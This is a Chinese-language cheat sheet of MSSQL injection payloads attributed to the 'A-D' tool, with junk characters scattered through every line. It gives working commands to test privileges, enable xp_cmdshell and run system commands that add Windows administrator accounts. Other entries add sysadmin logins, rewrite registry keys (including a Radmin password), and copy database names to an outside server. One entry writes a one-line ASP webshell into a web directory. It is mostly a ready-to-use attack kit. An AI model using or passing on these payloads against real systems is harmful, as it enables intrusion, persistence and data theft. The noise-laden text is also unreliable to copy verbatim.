阿D常用的一些注入命令7 R1 {& j4 F& a
//看看是什么权限的# ]& o, g5 e4 y4 Y+ }( d
and 1=(Select IS_MEMBER('db_owner'))
+ e: E. B+ B" P3 }6 n5 v0 XAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
- C' k6 s9 }2 ^; w! z% r0 ]3 y! |3 ~1 f6 M% x" A) ?
//检测是否有读取某数据库的权限
/ o6 l% [' O; `. h. band 1= (Select HAS_DBACCESS('master')): E; f" H9 E9 u k* r$ M* B1 A1 u0 X% l
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --3 k- Y" |4 c0 w- |1 e7 Y$ t
: `* }1 v( r1 i6 H5 I
( _' l s, e, u+ [0 E" [) |" @数字类型% `' P# g! y' q# d
and char(124)%2Buser%2Bchar(124)=0! V: u9 d( i! W! `
* N: E6 d R) d0 C2 p& h, k) M字符类型$ f: v$ [: ]$ d- d4 l3 n4 R9 m( `5 o
' and char(124)%2Buser%2Bchar(124)=0 and ''='- A& N4 T% i u& Y9 L
" }, j$ _+ H, }# ?2 K: T/ J" H2 h: p搜索类型, |+ r& q6 _, K* L8 p5 n! n
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
& H' E5 Q# r' g4 f" U' q2 k* N& Z6 U V; R# j7 }, E, D
爆用户名* F: W. Z, |( C) I) i
and user>0 |( \* \/ q; x- M8 u; ~- u$ B
' and user>0 and ''=' {8 ~4 \6 q1 \* l9 [( U
$ G+ q2 s5 H7 e2 ^% H检测是否为SA权限
J4 q- f7 ~! M, ?; N+ [) Cand 1=(select IS_SRVROLEMEMBER('sysadmin'));--' L; P" }, Z) C* W! i
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
, X) u! c! n. N" [" S Q& v4 S: _$ j
+ Z3 r; u! g3 k9 Z( C% |: ]/ @检测是不是MSSQL数据库
, d4 d# s1 x% ?+ cand exists (select * from sysobjects);--
4 b9 [, y: o- b& @3 ]3 s' N; w/ N4 T* B8 G; m
检测是否支持多行/ [0 D- I, g5 d
;declare @d int;-- : z' x; I! ^! r6 w( O
0 B% W4 L; b0 F8 k) q
恢复 xp_cmdshell# C. u. B& {) d$ ~
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
L- e3 L. o9 s1 Q% F. W; S7 L7 F0 Z( F) Y/ r
1 `- \+ l; U) x' w* U0 I
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') % |4 z( |1 K4 N! c) r q4 c
) w6 o( f! x3 ?( ~6 ?* ^//-----------------------! h% h0 v* `5 U# J
// 执行命令 ]4 H7 K! N: C; u F/ M2 |: P
//-----------------------+ N! y5 q6 z! z( W7 u- I4 h
首先开启沙盘模式:
# w* t' ~: d- E4 T4 |exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
$ s# ~0 b: V- c: j
, u& P0 j& c7 g* j8 S) M8 o6 g然后利用jet.oledb执行系统命令
0 o1 Q3 e3 y6 b/ n* Rselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
( Z( a8 T' D" H/ W8 S% F! l. U! G& N: R7 M! p
执行命令
' ]+ g; R) O* j& r5 I- I;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--! s3 f3 ^* w m2 F
: D. i+ @" }1 }" _8 W/ i' v
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111': x5 l" x% C1 |
) {. b, k: a6 R7 C/ e, {! @% y判断xp_cmdshell扩展存储过程是否存在:' L y' p* |7 f. s5 V, s
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
3 S( @/ h: b7 X$ V1 i4 Q
; w5 f0 C4 v0 C1 t9 W; F写注册表* G7 c# x7 l" X% `% F0 S9 E
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
; f1 W- t( q% h: o& O9 q6 T" I" Q: H4 Y/ S% P5 I
REG_SZ+ A7 ?" R) K! [; f
2 F/ {" o; g5 X9 \5 B
读注册表
7 ]. C9 N- Z9 Iexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
9 O/ Z8 e& E. G& x
" L, y& M( i, c) p8 \读取目录内容2 g! S X5 v. {6 X1 S, Q2 R3 X
exec master..xp_dirtree 'c:\winnt\system32\',1,1
' ]: Y J8 D7 t: X" ^
+ t* w2 K) M( t: z' s- j. d$ _: P2 L6 W9 M7 A% q
数据库备份
1 h& H. C( m3 }( R, p5 i+ ybackup database pubs to disk = 'c:\123.bak'
* g! `, {3 z6 i( p/ P8 N `. X E5 F' [5 d2 a/ l7 u) t0 t$ j
//爆出长度% Q3 W# F( ~. g2 T& E6 }5 V
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
1 `% r% T2 o, \6 G, j. w% W* [5 a9 Y' l
- W2 N! d& T4 m! u8 w! v
: A+ D* @ Y6 A# a4 W更改sa口令方法:用sql综合利用工具连接后,执行命令:* S; j9 @2 F6 ]$ m% `* A
exec sp_password NULL,'新密码','sa'
) J/ E, F" g5 b1 `/ Q0 _3 m+ }7 u9 O. v1 } W
添加和删除一个SA权限的用户test:
. E( ~& {: D4 \) lexec master.dbo.sp_addlogin test,ptlove1 {) b+ k! y% U5 x7 U; m2 S" t
exec master.dbo.sp_addsrvrolemember test,sysadmin
& @- L6 r% e [. \+ ~
6 J- L E) C8 W7 y删除扩展存储过过程xp_cmdshell的语句: ) f. |" n/ U- K* m9 V. ]( V
exec sp_dropextendedproc 'xp_cmdshell'
( L2 {6 V7 E) u0 e5 N- G2 r- J, d; f( Q* C
添加扩展存储过过程- y! o6 L' B; ^* |
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' Q( E3 a5 m) ]1 I' v2 h# u
GRANT exec On xp_proxiedadata TO public
; i- A; i3 Y8 E( d: D& H$ X" T7 `
8 c& E7 E1 X" a3 z0 h" W3 \/ y2 j8 R4 t9 p" y! T7 \7 {
停掉或激活某个服务。 / W/ g3 N0 O- p* H8 S
3 u7 h1 `: i) x; a, c. [- `- K6 uexec master..xp_servicecontrol 'stop','schedule'
+ @' V! Z7 N! d( A5 ~( D3 Jexec master..xp_servicecontrol 'start','schedule'
; E: l+ i- H+ K, H8 B
! T1 t6 l, e( j* E) \3 Hdbo.xp_subdirs
/ F6 D" U- N- H0 l- \/ k
; i. z; n, Q: d. \0 x只列某个目录下的子目录。$ I6 o# l) Z f" v
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
0 o/ R; F: { g* j" D& f
4 C) {" Y6 W& P$ V# xdbo.xp_makecab5 Q: c' o8 P/ I. \0 G" r
7 N. j7 L: v3 V% x5 b1 [" V将目标多个档案压缩到某个目标档案之内。* q' k2 w" g1 o' C) ]
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
( {& x$ E1 \( K0 [% W
' ^* i# @% J/ _: J7 ndbo.xp_makecab( B- x9 ]# R, n1 N0 R
'c:\test.cab','mszip',1,) e* L$ t& o% Q+ A, X$ k
'C:\Inetpub\wwwroot\SQLInject\login.asp',
6 Z& ~0 G! G& G'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'/ ^4 Z; z; V0 H8 I; y7 q" O, D$ X
; z. ^8 A, t/ j6 p S' j, T
xp_terminate_process: X/ H5 ^+ \9 I' a
- l0 j i8 j2 V4 i- F停掉某个执行中的程序,但赋予的参数是 Process ID。1 b/ ?& V$ P; ?* k O# \1 j: j
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID8 s- K) X9 S+ n' Z& y
. @5 ^' H! d+ s( O: a2 n9 j% l9 `
xp_terminate_process 24844 F( \3 O4 C$ @$ h
$ f2 n- _( t% a( ]2 Gxp_unpackcab9 l5 j4 w6 x& [2 ^0 S
" e, V# P& C: i/ c解开压缩档。
) X3 {* \+ S) m- Q8 Z* m. o
! g: q& Q" ?3 i% w6 `xp_unpackcab 'c:\test.cab','c:\temp',1
: k5 Y$ g$ `4 U/ Z* E3 l, [, p7 I
5 i- Z; k; T1 ] o% P1 h
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234# F, l. l& X, q7 S1 `" B
" s D+ j0 \# v1 t c' w3 X: f, screate database lcx;
. c$ P, C% h) oCreate TABLE ku(name nvarchar(256) null);/ t8 ~ k9 R' [& a, F# j
Create TABLE biao(id int NULL,name nvarchar(256) null);! y! a9 W3 c1 k2 _# T4 y
5 ?8 \- \# o0 P! c3 k+ v//得到数据库名9 [( N8 P/ Y" G0 e* j9 p0 K5 }2 D: t
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
- r5 `- y' e0 J1 ^& f3 e
! `5 Y( T: w+ {5 T, s2 [9 L9 C+ w9 \! p8 W5 d% b
//在Master中创建表,看看权限怎样
/ s0 ~9 u9 N- \. C- f# |/ j( VCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
7 u% {4 W+ t$ T+ p# {! [( H" |; ]/ L) @0 e. u. d* s* g
用 sp_makewebtask直接在web目录里写入一句话马:, c. i$ D+ | M; l$ b0 A) x0 h0 ]( o
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--. L7 B, R% V# d( ^) F% r0 \; h
" @( ?! P2 d" X1 c# k! A
//更新表内容
# f. Y6 E6 A uUpdate films SET kind = 'Dramatic' Where id = 1233 S% u4 K* e+ P8 d9 @' T7 y, f0 Q
2 t8 q9 l/ J# a0 S5 V8 x
//删除内容% Q, e! t" z# r& g& {3 N
delete from table_name where Stockid = 3 |